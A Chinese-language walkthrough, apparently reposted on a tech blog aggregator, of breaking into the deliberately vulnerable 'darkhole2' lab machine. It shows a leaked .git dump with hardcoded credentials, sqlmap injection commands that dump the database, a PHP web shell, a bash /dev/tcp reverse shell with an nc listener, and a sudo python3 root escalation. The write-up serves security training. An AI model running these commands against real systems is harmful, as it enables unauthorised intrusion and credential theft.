IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发工具 -> .git文件泄露的一次渗透darkhole2 -> 正文阅读

[开发工具].git文件泄露的一次渗透darkhole2

darkhole2通关过程

这是一个困难难度的靶场,通过不小心泄露的.git文件收集信息,再利用漏洞脱库登录,最后利用rce漏洞进行提权。也可以用通用来打。

信息收集

扫描靶机ip

nmap -sP 192.168.3.1/24

在这里插入图片描述

靶机ip为192.168.3.130

对靶机端口进行全面扫描

nmap -p 1-65535 -A 192.168.3.130

在这里插入图片描述

只扫出了80和22端口

访问192.168.3.130

在这里插入图片描述

目录收集

python dirsearch.py -u http://192.168.3.130/

在这里插入图片描述

查看扫描报告搜集出请求成功的路径

200     3KB  http://192.168.3.130/.git/
200   130B   http://192.168.3.130/.git/config
200     4KB  http://192.168.3.130/.git/hooks/
200    41B   http://192.168.3.130/.git/COMMIT_EDITMSG
200    23B   http://192.168.3.130/.git/HEAD
200     1KB  http://192.168.3.130/.git/index
200   240B   http://192.168.3.130/.git/info/exclude
200   554B   http://192.168.3.130/.git/logs/HEAD
200     1KB  http://192.168.3.130/.git/logs/
200   554B   http://192.168.3.130/.git/logs/refs/heads/master
200   948B   http://192.168.3.130/.git/info/
200     6KB  http://192.168.3.130/.git/objects/
200     1KB  http://192.168.3.130/.git/refs/
200    41B   http://192.168.3.130/.git/refs/heads/master
200     1KB  http://192.168.3.130/.idea/
200   279B   http://192.168.3.130/.idea/modules.xml
200     2KB  http://192.168.3.130/.idea/workspace.xml
200    73B   http://192.168.3.130/.git/description
200   943B   http://192.168.3.130/config/
200    11B   http://192.168.3.130/dashboard.php
200   931B   http://192.168.3.130/js/
200     1KB  http://192.168.3.130/login.php

主要存在目录

/.git
/.idea
/config
/dashboard.php
/js
/login.php

.git代码管理仓库的文件,应该是开发不小心提交上来的可能会造成git信息泄露

.idea一个java开发工具的配置文件,应该没什么用

对目录按顺序进行信息收集首先是/.git

在这里插入图片描述

利用.git文件泄露获取更多信息

python2 GitHack.py http://192.168.3.130/.git/

在这里插入图片描述

到生成的仓库中查看git的log日志

git log

在这里插入图片描述

最新版本记录i changed login.php file for more secure增加了安全性,想知道他增加了什么安全防护,对比版本差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述

,发现login.php删去了一段代码有默认的账号密码,开发人员有时候为了方便会写死在代码里的。

if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){

而且新增的login.php的代码对sql注入做了防护,login页面的sql注入应该是不行了

$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){

然后大致看了下目录下获取到的源码,在config目录下的config.php文件中获取到了一段数据库的泄露信息,知道了账号和连接的数据库密码为空

<?php
$connect = new mysqli("localhost","root","","darkhole_2");

有了这两个信息直接进入到渗透阶段,在渗透中再进行信息收集

渗透阶段

直接到登录页面,用之前删掉代码里的账号密码进行登录

lush@admin.com
321

在这里插入图片描述

登录成功

它的地址为

http://192.168.3.130/dashboard.php?id=1

因为刚打完darkhole1这个地址很熟悉,跑一下有没有sql注入

在这里插入图片描述

源码代码审计是根据session判断,cookie中必须携带sessionid即PHPSESSID

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch

在这里插入图片描述

扫到了时间盲注和UNION注入

爆库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch --dbs

在这里插入图片描述

爆表

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 --tables

在这里插入图片描述

ssh表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T ssh --dump

在这里插入图片描述

users表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T users --dump

在这里插入图片描述

既然拿到了ssh的账号密码直接进行登录

ssh jehad@192.168.3.130

在这里插入图片描述

查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户进行提权

sudo -l

在这里插入图片描述

提权阶段

查看可以提权的用户

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

到他的home目录下看看

在.bash_history文件看见了很多疑似远程命令执行的语句

history命令也看见了同样的命令

在这里插入图片描述

浅试一下复制一条上面的命令

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述

果然可以,这个jehad是个hack已经黑掉写入了木马,利用它的就好了

查看定时任务

cat /etc/crontab

在这里插入图片描述

可以看到这个定时任务是每分钟到/opt/web目录下开端口9999的web服务

去/opt/web目录看看,其中有个index.php,证实了是rce

<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

因为localhost访问不到属于局域网,对9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.3.130

在这里插入图片描述

可以成功访问了
在这里插入图片描述

建立反弹连接,因为这个用户是losy当用这个rce反弹shell,获得的对象就是losy

需要开启kali监听

nc -lvvp 7777

反弹shell(需要url编码)

bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261'

访问

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261%27

成功拿到losy的权限

在这里插入图片描述

看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码

history

在这里插入图片描述

losy是有sudo权限的

在这里插入图片描述

查看losy可以运行的文件或命令,需要密码刚刚获取到了gang

sudo -l

在这里插入图片描述

python3有root权限直接sudo python命令提权

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

  开发工具 最新文章
Postman接口测试之Mock快速入门
ASCII码空格替换查表_最全ASCII码对照表0-2
如何使用 ssh 建立 socks 代理
Typora配合PicGo阿里云图床配置
SoapUI、Jmeter、Postman三种接口测试工具的
github用相对路径显示图片_GitHub 中 readm
Windows编译g2o及其g2o viewer
解决jupyter notebook无法连接/ jupyter连接
Git恢复到之前版本
VScode常用快捷键
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 21:02:36  更:2022-10-08 21:06:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 20:51:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码